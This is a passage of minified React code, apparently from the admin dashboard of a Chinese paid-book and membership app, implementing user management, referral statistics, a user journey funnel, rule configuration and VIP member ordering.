border-blue-500/40 text-blue-400",desc:"微信授权登录或手机号注册"},{id:"browse",label:"浏览章节",icon:"📖",color:"bg-purple-500/20 border-purple-500/40 text-purple-400",desc:"点击免费/付费章节预览"},{id:"bind_phone",label:"绑定手机",icon:"📱",color:"bg-cyan-500/20 border-cyan-500/40 text-cyan-400",desc:"触发付费章节后绑定手机"},{id:"first_pay",label:"首次付款",icon:"💳",color:"bg-green-500/20 border-green-500/40 text-green-400",desc:"购买单章或全书"},{id:"fill_profile",label:"完善资料",icon:"✍️",color:"bg-yellow-500/20 border-yellow-500/40 text-yellow-400",desc:"填写头像、MBTI、行业等"},{id:"match",label:"派对房匹配",icon:"🤝",color:"bg-orange-500/20 border-orange-500/40 text-orange-400",desc:"参与 Soul 派对房"},{id:"vip",label:"升级 VIP",icon:"👑",color:"bg-amber-500/20 border-amber-500/40 text-amber-400",desc:"付款 ¥1980 购买全书"},{id:"distribution",label:"开启分销",icon:"🔗",color:"bg-[#38bdac]/20 border-[#38bdac]/40 text-[#38bdac]",desc:"生成推广码并推荐好友"}];function pP(){var fs,Di,Ps,Li,Pa;const[t,e]=Ww(),n=t.get("pool"),[r,a]=b.useState([]),[i,o]=b.useState(0),[c,u]=b.useState(1),[h,f]=b.useState(10),[m,g]=b.useState(""),y=r0(m,300),N=n==="vip"?"vip":n==="complete"?"complete":"all",[w,v]=b.useState(N),[k,C]=b.useState(!0),[E,T]=b.useState(!1),[I,O]=b.useState(null),[L,R]=b.useState(!1),[D,_]=b.useState("desc");b.useEffect(()=>{n==="vip"?v("vip"):n==="complete"?v("complete"):n==="all"&&v("all")},[n]);const[Z,ne]=b.useState(!1),[fe,xe]=b.useState(null),[$,H]=b.useState(!1),[oe,P]=b.useState(!1),[K,V]=b.useState({referrals:[],stats:{}}),[z,U]=b.useState(!1),[le,J]=b.useState(null),[Y,B]=b.useState(!1),[re,ue]=b.useState(null),[ce,ye]=b.useState({phone:"",nickname:"",password:"",isAdmin:!1,hasFullBook:!1}),[Re,Le]=b.useState([]),[lt,Tt]=b.useState(!1),[ln,yt]=b.useState(!1),[nn,In]=b.useState(null),[Mt,Yt]=b.useState({title:"",description:"",trigger:"",sort:0,enabled:!0}),[rn,Rn]=b.useState([]),[pr,Pn]=b.useState(!1),[Hn,q]=b.useState(null),[We,Je]=b.useState(null),[xt,ct]=b.useState({}),[nt,gt]=b.useState(!1);async function Rt(W=!1){var Pe;C(!0),W&&T(!0),O(null);try{if(L){const Ve=new URLSearchParams({search:y,limit:String(h*5)}),Ge=await De(`/api/db/users/rfm?${Ve}`);if(Ge!=null&&Ge.success){let Nn=Ge.users||[];D==="asc"&&(Nn=[...Nn].reverse());const gr=(c-1)*h;a(Nn.slice(gr,gr+h)),o(((Pe=Ge.users)==null?void 0:Pe.length)??0),Nn.length===0&&(R(!1),O("暂无订单数据,RFM 排序需要用户有购买记录后才能生效"))}else R(!1),O((Ge==null?void 0:Ge.error)||"RFM 加载失败,已切回普通模式")}else{const Ve=new URLSearchParams({page:String(c),pageSize:String(h),search:y,...w==="vip"&&{vip:"true"},...w==="complete"&&{pool:"complete"}}),Ge=await De(`/api/db/users?${Ve}`);Ge!=null&&Ge.success?(a(Ge.users||[]),o(Ge.total??0)):O((Ge==null?void 0:Ge.error)||"加载失败")}}catch(Ve){console.error("Load users error:",Ve),O("网络错误")}finally{C(!1),W&&T(!1)}}b.useEffect(()=>{u(1)},[y,w,L]),b.useEffect(()=>{Rt()},[c,h,y,w,L,D]);const gn=Math.ceil(i/h)||1,mr=()=>{L?D==="desc"?_("asc"):(R(!1),_("desc")):(R(!0),_("desc"))},wr=W=>({S:"bg-amber-500/20 text-amber-400",A:"bg-green-500/20 text-green-400",B:"bg-blue-500/20 text-blue-400",C:"bg-gray-500/20 text-gray-400",D:"bg-red-500/20 text-red-400"})[W||""]||"bg-gray-500/20 text-gray-400";async function As(W){var Pe;if(confirm("确定要删除这个用户吗?"))try{const Ve=await Bs(`/api/db/users?id=${encodeURIComponent(W)}`);Ve!=null&&Ve.success?(ie.success("已删除"),Rt()):ie.error("删除失败: "+((Ve==null?void 0:Ve.error)||"未知错误"))}catch(Ve){const Ge=Ve,Nn=((Pe=Ge==null?void 0:Ge.data)==null?void 0:Pe.error)||(Ge==null?void 0:Ge.message)||"网络错误";ie.error("删除失败: "+Nn)}}const Wr=W=>{xe(W),ye({phone:W.phone||"",nickname:W.nickname||"",password:"",isAdmin:!!(W.isAdmin??!1),hasFullBook:!!(W.hasFullBook??!1)}),ne(!0)},Is=()=>{xe(null),ye({phone:"",nickname:"",password:"",isAdmin:!1,hasFullBook:!1}),ne(!0)};async function pe(){if(!ce.phone||!ce.nickname){ie.error("请填写手机号和昵称");return}H(!0);try{if(fe){const W=await zt("/api/db/users",{id:fe.id,phone:ce.phone||void 0,nickname:ce.nickname,isAdmin:ce.isAdmin,hasFullBook:ce.hasFullBook,...ce.password&&{password:ce.password}});if(!(W!=null&&W.success)){ie.error("更新失败: "+((W==null?void 0:W.error)||""));return}}else{const W=await vt("/api/db/users",{phone:ce.phone,nickname:ce.nickname,password:ce.password,isAdmin:ce.isAdmin});if(!(W!=null&&W.success)){ie.error("创建失败: "+((W==null?void 0:W.error)||""));return}}ne(!1),Rt()}catch{ie.error("保存失败")}finally{H(!1)}}async function ge(W){J(W),P(!0),U(!0);try{const Pe=await De(`/api/db/users/referrals?userId=${encodeURIComponent(W.id)}`);Pe!=null&&Pe.success?V({referrals:Pe.referrals||[],stats:Pe.stats||{}}):V({referrals:[],stats:{}})}catch{V({referrals:[],stats:{}})}finally{U(!1)}}const Pt=b.useCallback(async()=>{Tt(!0);try{const W=await De("/api/db/user-rules");W!=null&&W.success&&Le(W.rules||[])}catch{}finally{Tt(!1)}},[]);async function On(){if(!Mt.title){ie.error("请填写规则标题");return}H(!0);try{if(nn){const W=await zt("/api/db/user-rules",{id:nn.id,...Mt});if(!(W!=null&&W.success)){ie.error("更新失败: "+((W==null?void 0:W.error)||""));return}}else{const W=await vt("/api/db/user-rules",Mt);if(!(W!=null&&W.success)){ie.error("创建失败: "+((W==null?void 0:W.error)||""));return}}yt(!1),Pt()}catch{ie.error("保存失败")}finally{H(!1)}}async function Qs(W){if(confirm("确定删除?"))try{const Pe=await Bs(`/api/db/user-rules?id=${W}`);Pe!=null&&Pe.success&&Pt()}catch{}}async function Xs(W){try{await zt("/api/db/user-rules",{id:W.id,enabled:!W.enabled}),Pt()}catch{}}const Wn=b.useCallback(async()=>{Pn(!0);try{const W=await De("/api/db/vip-members?limit=500");if(W!=null&&W.success&&W.data){const Pe=[...W.data].map((Ve,Ge)=>({...Ve,vipSort:typeof Ve.vipSort=="number"?Ve.vipSort:Ge+1}));Pe.sort((Ve,Ge)=>(Ve.vipSort??999999)-(Ge.vipSort??999999)),Rn(Pe)}else W&&W.error&&ie.error(W.error)}catch{ie.error("加载超级个体列表失败")}finally{Pn(!1)}},[]),[Zs,ft]=b.useState(!1),[xn,Ur]=b.useState(null),[Ir,ds]=b.useState(""),[Dn,us]=b.useState(!1),hs=["创业者","资源整合者","技术达人","投资人","产品经理","流量操盘手"],Rs=W=>{Ur(W),ds(W.vipRole||""),ft(!0)},Ma=async W=>{const Pe=W.trim();if(xn){if(!Pe){ie.error("请选择或输入标签");return}us(!0);try{const Ve=await zt("/api/db/users",{id:xn.id,vipRole:Pe});if(!(Ve!=null&&Ve.success)){ie.error((Ve==null?void 0:Ve.error)||"更新超级个体标签失败");return}ie.success("已更新超级个体标签"),ft(!1),Ur(null),await Wn()}catch{ie.error("更新超级个体标签失败")}finally{us(!1)}}},[er,Kr]=b.useState(!1),[ea,Rr]=b.useState(null),[Pi,Aa]=b.useState(""),[Ro,Ia]=b.useState(!1),qr=W=>{Rr(W),Aa(W.vipSort!=null?String(W.vipSort):""),Kr(!0)},Gr=async()=>{if(!ea)return;const W=Number(Pi);if(!Number.isFinite(W)){ie.error("请输入有效的数字序号");return}Ia(!0);try{const Pe=await zt("/api/db/users",{id:ea.id,vipSort:W});if(!(Pe!=null&&Pe.success)){ie.error((Pe==null?void 0:Pe.error)||"更新排序序号失败");return}ie.success("已更新排序序号"),Kr(!1),Rr(null),await Wn()}catch{ie.error("更新排序序号失败")}finally{Ia(!1)}},Ra=(W,Pe)=>{W.dataTransfer.effectAllowed="move",W.dataTransfer.setData("text/plain",Pe),q(Pe)},Hl=(W,Pe)=>{W.preventDefault(),We!==Pe&&Je(Pe)},ta=()=>{q(null),Je(null)},Ot=async(W,Pe)=>{W.preventDefault();const Ve=W.dataTransfer.getData("text/plain")||Hn;if(q(null),Je(null),!Ve||Ve===Pe)return;const Ge=rn.find(Qt=>Qt.id===Ve),Nn=rn.find(Qt=>Qt.id===Pe);if(!Ge||!Nn)return;const gr=Ge.vipSort??rn.findIndex(Qt=>Qt.id===Ve)+1,Po=Nn.vipSort??rn.findIndex(Qt=>Qt.id===Pe)+1;Rn(Qt=>{const Un=[...Qt],ps=Un.findIndex(Oa=>Oa.id===Ve),Os=Un.findIndex(Oa=>Oa.id===Pe);if(ps===-1||Os===-1)return Qt;const na=[...Un],[Wl,_i]=[na[ps],na[Os]];return na[ps]={..._i,vipSort:gr},na[Os]={...Wl,vipSort:Po},na});try{const[Qt,Un]=await Promise.all([zt("/api/db/users",{id:Ve,vipSort:Po}),zt("/api/db/users",{id:Pe,vipSort:gr})]);if(!(Qt!=null&&Qt.success)||!(Un!=null&&Un.success)){ie.error((Qt==null?void 0:Qt.error)||(Un==null?void 0:Un.error)||"更新排序失败"),await Wn();return}ie.success("已更新排序"),await Wn()}catch{ie.error("更新排序失败"),await Wn()}},Oi=b.useCallback(async()=>{gt(!0);try{const W=await De("/api/db/users/journey-stats");W!=null&&W.success&&W.stats&&ct(W.stats)}catch{}finally{gt(!1)}},[]);return s.jsxs("div",{className:"p-8 w-full",children:[I&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:I}),s.jsx("button",{type:"button",onClick:()=>O(null),children:"×"})]}),s.jsx("div",{className:"flex justify-between items-center mb-6",children:s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"用户管理"}),s.jsxs("p",{className:"text-gray-400 mt-1 text-sm",children:["共 ",i," 位注册用户",L&&" · RFM 排序中"]})]})}),s.jsxs(yd,{defaultValue:"users",className:"w-full",children:[s.jsxs(Ll,{className:"bg-[#0a1628] border border-gray-700/50 p-1 mb-6 flex-wrap h-auto gap-1",children:[s.jsxs(Zt,{value:"users",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",children:[s.jsx(Zn,{className:"w-4 h-4"})," 用户列表"]}),s.jsxs(Zt,{value:"journey",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Oi,children:[s.jsx(ml,{className:"w-4 h-4"})," 用户旅程总览"]}),s.jsxs(Zt,{value:"rules",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Pt,children:[s.jsx(lo,{className:"w-4 h-4"})," 规则配置"]}),s.jsxs(Zt,{value:"vip-roles",className:"data-[state=active]:bg-[#38bdac]/20 data-[state=active]:text-[#38bdac] flex items-center gap-1.5",onClick:Wn,children:[s.jsx(yl,{className:"w-4 h-4"})," 超级个体列表"]})]}),s.jsxs(en,{value:"users",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4 justify-end flex-wrap",children:[s.jsxs(te,{variant:"outline",onClick:()=>Rt(!0),disabled:E,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${E?"animate-spin":""}`})," 刷新"]}),s.jsxs("select",{value:w,onChange:W=>{const Pe=W.target.value;v(Pe),u(1),n&&(t.delete("pool"),e(t))},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",disabled:L,children:[s.jsx("option",{value:"all",children:"全部用户"}),s.jsx("option",{value:"vip",children:"VIP会员(超级个体)"}),s.jsx("option",{value:"complete",children:"完善资料用户"})]}),s.jsxs("div",{className:"relative",children:[s.jsx(Na,{className:"absolute left-3 top-1/2 -translate-y-1/2 w-4 h-4 text-gray-500"}),s.jsx(se,{type:"text",placeholder:"搜索用户...",className:"pl-10 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500 w-56",value:m,onChange:W=>g(W.target.value)})]}),s.jsxs(te,{onClick:Is,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(Lg,{className:"w-4 h-4 mr-2"})," 添加用户"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:k?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs("div",{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"用户信息"}),s.jsx(ke,{className:"text-gray-400",children:"绑定信息"}),s.jsx(ke,{className:"text-gray-400",children:"购买状态"}),s.jsx(ke,{className:"text-gray-400",children:"分销收益"}),s.jsxs(ke,{className:"text-gray-400 cursor-pointer select-none",onClick:mr,children:[s.jsxs("div",{className:"flex items-center gap-1 group",children:[s.jsx($c,{className:"w-3.5 h-3.5"}),s.jsx("span",{children:"RFM分值"}),L?D==="desc"?s.jsx(Zc,{className:"w-3.5 h-3.5 text-[#38bdac]"}):s.jsx(Kw,{className:"w-3.5 h-3.5 text-[#38bdac]"}):s.jsx(Em,{className:"w-3.5 h-3.5 text-gray-600 group-hover:text-gray-400"})]}),L&&s.jsx("div",{className:"text-[10px] text-[#38bdac] font-normal mt-0.5",children:"点击切换方向/关闭"})]}),s.jsx(ke,{className:"text-gray-400",children:"注册时间"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[r.map(W=>{var Pe,Ve,Ge;return s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-10 h-10 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac]",children:W.avatar?s.jsx("img",{src:W.avatar,className:"w-full h-full rounded-full object-cover",alt:""}):((Pe=W.nickname)==null?void 0:Pe.charAt(0))||"?"}),s.jsxs("div",{children:[s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("button",{type:"button",onClick:()=>{ue(W.id),B(!0)},className:"font-medium text-[#38bdac] hover:text-[#2da396] hover:underline text-left",children:W.nickname}),W.isAdmin&&s.jsx(qe,{className:"bg-purple-500/20 text-purple-400 hover:bg-purple-500/20 border-0 text-xs",children:"管理员"}),W.openId&&!((Ve=W.id)!=null&&Ve.startsWith("user_"))&&s.jsx(qe,{className:"bg-green-500/20 text-green-400 hover:bg-green-500/20 border-0 text-xs",children:"微信"})]}),s.jsx("p",{className:"text-xs text-gray-500 font-mono",children:W.openId?W.openId.slice(0,12)+"...":(Ge=W.id)==null?void 0:Ge.slice(0,12)})]})]})}),s.jsx(ve,{children:s.jsxs("div",{className:"space-y-1",children:[W.phone&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"📱"}),s.jsx("span",{className:"text-gray-300",children:W.phone})]}),W.wechatId&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"💬"}),s.jsx("span",{className:"text-gray-300",children:W.wechatId})]}),W.openId&&s.jsxs("div",{className:"flex items-center gap-1 text-xs",children:[s.jsx("span",{className:"text-gray-500",children:"🔗"}),s.jsxs("span",{className:"text-gray-500 truncate max-w-[100px]",title:W.openId,children:[W.openId.slice(0,12),"..."]})]}),!W.phone&&!W.wechatId&&!W.openId&&s.jsx("span",{className:"text-gray-600 text-xs",children:"未绑定"})]})}),s.jsx(ve,{children:W.hasFullBook?s.jsx(qe,{className:"bg-amber-500/20 text-amber-400 hover:bg-amber-500/20 border-0",children:"VIP"}):s.jsx(qe,{variant:"outline",className:"text-gray-500 border-gray-600",children:"未购买"})}),s.jsx(ve,{children:s.jsxs("div",{className:"space-y-1",children:[s.jsxs("div",{className:"text-white font-medium",children:["¥",parseFloat(String(W.earnings||0)).toFixed(2)]}),parseFloat(String(W.pendingEarnings||0))>0&&s.jsxs("div",{className:"text-xs text-yellow-400",children:["待提现: ¥",parseFloat(String(W.pendingEarnings||0)).toFixed(2)]}),s.jsxs("div",{className:"text-xs text-[#38bdac] cursor-pointer hover:underline flex items-center gap-1",onClick:()=>ge(W),role:"button",tabIndex:0,onKeyDown:Nn=>Nn.key==="Enter"&&ge(W),children:[s.jsx(Zn,{className:"w-3 h-3"})," 绑定",W.referralCount||0,"人"]})]})}),s.jsx(ve,{children:W.rfmScore!==void 0?s.jsx("div",{className:"flex flex-col gap-1",children:s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("span",{className:"text-white font-bold text-base",children:W.rfmScore}),s.jsx(qe,{className:`border-0 text-xs ${wr(W.rfmLevel)}`,children:W.rfmLevel})]})}):s.jsxs("span",{className:"text-gray-600 text-sm",children:["— ",s.jsx("span",{className:"text-xs text-gray-700",children:"点列头排序"})]})}),s.jsx(ve,{className:"text-gray-400",children:W.createdAt?new Date(W.createdAt).toLocaleDateString():"-"}),s.jsx(ve,{className:"text-right",children:s.jsxs("div",{className:"flex items-center justify-end gap-1",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>{ue(W.id),B(!0)},className:"text-gray-400 hover:text-blue-400 hover:bg-blue-400/10",title:"用户详情",children:s.jsx(Ig,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Wr(W),className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",title:"编辑用户",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",onClick:()=>As(W.id),title:"删除",children:s.jsx(Jn,{className:"w-4 h-4"})})]})})]},W.id)}),r.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无用户数据"})})]})]}),s.jsx(is,{page:c,totalPages:gn,total:i,pageSize:h,onPageChange:u,onPageSizeChange:W=>{f(W),u(1)}})]})})})]}),s.jsxs(en,{value:"journey",children:[s.jsxs("div",{className:"flex items-center justify-between mb-5",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"用户从注册到 VIP 的完整行动路径,点击各阶段查看用户动态"}),s.jsxs(te,{variant:"outline",onClick:Oi,disabled:nt,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${nt?"animate-spin":""}`})," 刷新数据"]})]}),s.jsxs("div",{className:"relative mb-8",children:[s.jsx("div",{className:"absolute top-16 left-0 right-0 h-0.5 bg-gradient-to-r from-blue-500/20 via-[#38bdac]/30 to-amber-500/20 mx-20"}),s.jsx("div",{className:"grid grid-cols-4 gap-4 lg:grid-cols-8",children:Ou.map((W,Pe)=>s.jsxs("div",{className:"relative flex flex-col items-center",children:[s.jsxs("div",{className:`relative w-full p-3 rounded-xl border ${W.color} text-center cursor-default`,children:[s.jsx("div",{className:"text-2xl mb-1",children:W.icon}),s.jsx("div",{className:`text-xs font-medium ${W.color.split(" ").find(Ve=>Ve.startsWith("text-"))}`,children:W.label}),xt[W.id]!==void 0&&s.jsxs("div",{className:"mt-1.5 text-xs text-gray-400",children:[s.jsx("span",{className:"font-bold text-white",children:xt[W.id]})," 人"]}),s.jsx("div",{className:"absolute -top-2.5 -left-2.5 w-5 h-5 rounded-full bg-[#0a1628] border border-gray-700 flex items-center justify-center text-[10px] text-gray-500",children:Pe+1})]}),Pes.jsxs("div",{className:"flex items-start gap-3 p-2 bg-[#0a1628] rounded",children:[s.jsx("span",{className:"text-[#38bdac] font-mono text-xs shrink-0 mt-0.5",children:W.step}),s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-300",children:W.action}),s.jsxs("p",{className:"text-gray-600 text-xs",children:["→ ",W.next]})]})]},W.step))})]}),s.jsxs("div",{className:"bg-[#0f2137] border border-gray-700/50 rounded-lg p-4",children:[s.jsxs("div",{className:"flex items-center gap-2 mb-3",children:[s.jsx(Br,{className:"w-4 h-4 text-purple-400"}),s.jsx("span",{className:"text-white font-medium",children:"行为锚点统计"}),s.jsx("span",{className:"text-gray-500 text-xs ml-auto",children:"实时更新"})]}),nt?s.jsx("div",{className:"flex items-center justify-center py-8",children:s.jsx(Ke,{className:"w-5 h-5 text-[#38bdac] animate-spin"})}):Object.keys(xt).length>0?s.jsx("div",{className:"space-y-2",children:Ou.map(W=>{const Pe=xt[W.id]||0,Ve=Math.max(...Ou.map(Nn=>xt[Nn.id]||0),1),Ge=Math.round(Pe/Ve*100);return s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("span",{className:"text-gray-500 text-xs w-20 shrink-0",children:[W.icon," ",W.label]}),s.jsx("div",{className:"flex-1 h-2 bg-[#0a1628] rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-[#38bdac]/60 rounded-full transition-all",style:{width:`${Ge}%`}})}),s.jsx("span",{className:"text-gray-400 text-xs w-10 text-right",children:Pe})]},W.id)})}):s.jsx("div",{className:"text-center py-8",children:s.jsx("p",{className:"text-gray-500 text-sm",children:"点击「刷新数据」加载统计"})})]})]})]}),s.jsxs(en,{value:"rules",children:[s.jsxs("div",{className:"mb-4 flex items-center justify-between",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"用户旅程引导规则,定义各行为节点的触发条件与引导内容"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs(te,{variant:"outline",onClick:Pt,disabled:lt,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${lt?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:()=>{In(null),Yt({title:"",description:"",trigger:"",sort:0,enabled:!0}),yt(!0)},className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"})," 添加规则"]})]})]}),lt?s.jsx("div",{className:"flex items-center justify-center py-12",children:s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"})}):Re.length===0?s.jsxs("div",{className:"text-center py-16 bg-[#0f2137] rounded-lg border border-gray-700/50",children:[s.jsx(Br,{className:"w-12 h-12 text-[#38bdac]/30 mx-auto mb-4"}),s.jsx("p",{className:"text-gray-400 mb-4",children:"暂无规则(重启服务将自动写入10条默认规则)"}),s.jsxs(te,{onClick:Pt,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(Ke,{className:"w-4 h-4 mr-2"})," 重新加载"]})]}):s.jsx("div",{className:"space-y-2",children:Re.map(W=>s.jsx("div",{className:`p-4 rounded-lg border transition-all ${W.enabled?"bg-[#0f2137] border-gray-700/50":"bg-[#0a1628]/50 border-gray-700/30 opacity-55"}`,children:s.jsxs("div",{className:"flex items-start justify-between",children:[s.jsxs("div",{className:"flex-1",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap mb-1",children:[s.jsx(Wt,{className:"w-4 h-4 text-[#38bdac] shrink-0"}),s.jsx("span",{className:"text-white font-medium",children:W.title}),W.trigger&&s.jsxs(qe,{className:"bg-[#38bdac]/10 text-[#38bdac] border border-[#38bdac]/30 text-xs",children:["触发:",W.trigger]}),s.jsx(qe,{className:`text-xs border-0 ${W.enabled?"bg-green-500/20 text-green-400":"bg-gray-500/20 text-gray-400"}`,children:W.enabled?"启用":"禁用"})]}),W.description&&s.jsx("p",{className:"text-gray-400 text-sm ml-6",children:W.description})]}),s.jsxs("div",{className:"flex items-center gap-2 ml-4 shrink-0",children:[s.jsx(kt,{checked:W.enabled,onCheckedChange:()=>Xs(W)}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>{In(W),Yt({title:W.title,description:W.description,trigger:W.trigger,sort:W.sort,enabled:W.enabled}),yt(!0)},className:"text-gray-400 hover:text-[#38bdac] hover:bg-[#38bdac]/10",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>Qs(W.id),className:"text-red-400 hover:text-red-300 hover:bg-red-500/10",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]})},W.id))})]}),s.jsxs(en,{value:"vip-roles",children:[s.jsxs("div",{className:"mb-4 flex items-center justify-between",children:[s.jsxs("div",{className:"space-y-1",children:[s.jsx("p",{className:"text-gray-400 text-sm",children:"展示当前所有有效的超级个体(VIP 用户),用于检查会员信息与排序值。"}),s.jsx("p",{className:"text-xs text-[#38bdac]",children:"提示:按住任意一行即可拖拽排序,释放后将同步更新小程序展示顺序。"})]}),s.jsx("div",{className:"flex items-center gap-2",children:s.jsxs(te,{variant:"outline",onClick:Wn,disabled:pr,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(Ke,{className:`w-4 h-4 mr-2 ${pr?"animate-spin":""}`})," ","刷新"]})})]}),pr?s.jsxs("div",{className:"flex items-center justify-center py-12",children:[s.jsx(Ke,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):rn.length===0?s.jsxs("div",{className:"text-center py-16 bg-[#0f2137] rounded-lg border border-gray-700/50",children:[s.jsx(yl,{className:"w-12 h-12 text-amber-400/30 mx-auto mb-4"}),s.jsx("p",{className:"text-gray-400 mb-4",children:"当前没有有效的超级个体用户。"})]}):s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400 w-16",children:"序号"}),s.jsx(ke,{className:"text-gray-400",children:"成员"}),s.jsx(ke,{className:"text-gray-400 min-w-48",children:"超级个体标签"}),s.jsx(ke,{className:"text-gray-400 w-24",children:"排序值"}),s.jsx(ke,{className:"text-gray-400 w-40 text-right",children:"操作"})]})}),s.jsx(dr,{children:rn.map((W,Pe)=>{var Nn;const Ve=Hn===W.id,Ge=We===W.id;return s.jsxs(it,{draggable:!0,onDragStart:gr=>Ra(gr,W.id),onDragOver:gr=>Hl(gr,W.id),onDrop:gr=>Ot(gr,W.id),onDragEnd:ta,className:`border-gray-700/50 cursor-grab active:cursor-grabbing select-none ${Ve?"opacity-60":""} ${Ge?"bg-[#38bdac]/10":""}`,children:[s.jsx(ve,{className:"text-gray-300",children:Pe+1}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[W.avatar?s.jsx("img",{src:W.avatar,className:"w-8 h-8 rounded-full object-cover border border-amber-400/60"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-amber-500/20 border border-amber-400/60 flex items-center justify-center text-amber-300 text-sm",children:((Nn=W.name)==null?void 0:Nn[0])||"创"}),s.jsx("div",{className:"min-w-0",children:s.jsx("div",{className:"text-white text-sm truncate",children:W.name})})]})}),s.jsx(ve,{className:"text-gray-300 whitespace-nowrap",children:W.vipRole||s.jsx("span",{className:"text-gray-500",children:"(未设置超级个体标签)"})}),s.jsx(ve,{className:"text-gray-300",children:W.vipSort??Pe+1}),s.jsx(ve,{className:"text-right text-xs text-gray-300",children:s.jsxs("div",{className:"inline-flex items-center gap-1.5",children:[s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-amber-300 hover:text-amber-200",onClick:()=>Rs(W),title:"设置超级个体标签",children:s.jsx(zc,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-[#38bdac] hover:text-[#5fe0cd]",onClick:()=>{ue(W.id),B(!0)},title:"编辑资料",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{variant:"ghost",size:"sm",className:"h-7 w-7 px-0 text-sky-300 hover:text-sky-200",onClick:()=>qr(W),title:"设置排序序号",children:s.jsx(Em,{className:"w-3.5 h-3.5"})})]})})]},W.id)})})]})})})]})]}),s.jsx(Dt,{open:er,onOpenChange:W=>{Kr(W),W||Rr(null)},children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-sm",children:[s.jsx(Lt,{children:s.jsxs(_t,{className:"text-white flex items-center gap-2",children:[s.jsx(Em,{className:"w-5 h-5 text-[#38bdac]"}),"设置排序 — ",ea==null?void 0:ea.name]})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsx(X,{className:"text-gray-300 text-sm",children:"排序序号(数字越小越靠前)"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:1",value:Pi,onChange:W=>Aa(W.target.value)})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>Kr(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:Gr,disabled:Ro,className:"bg-[#38bdac] 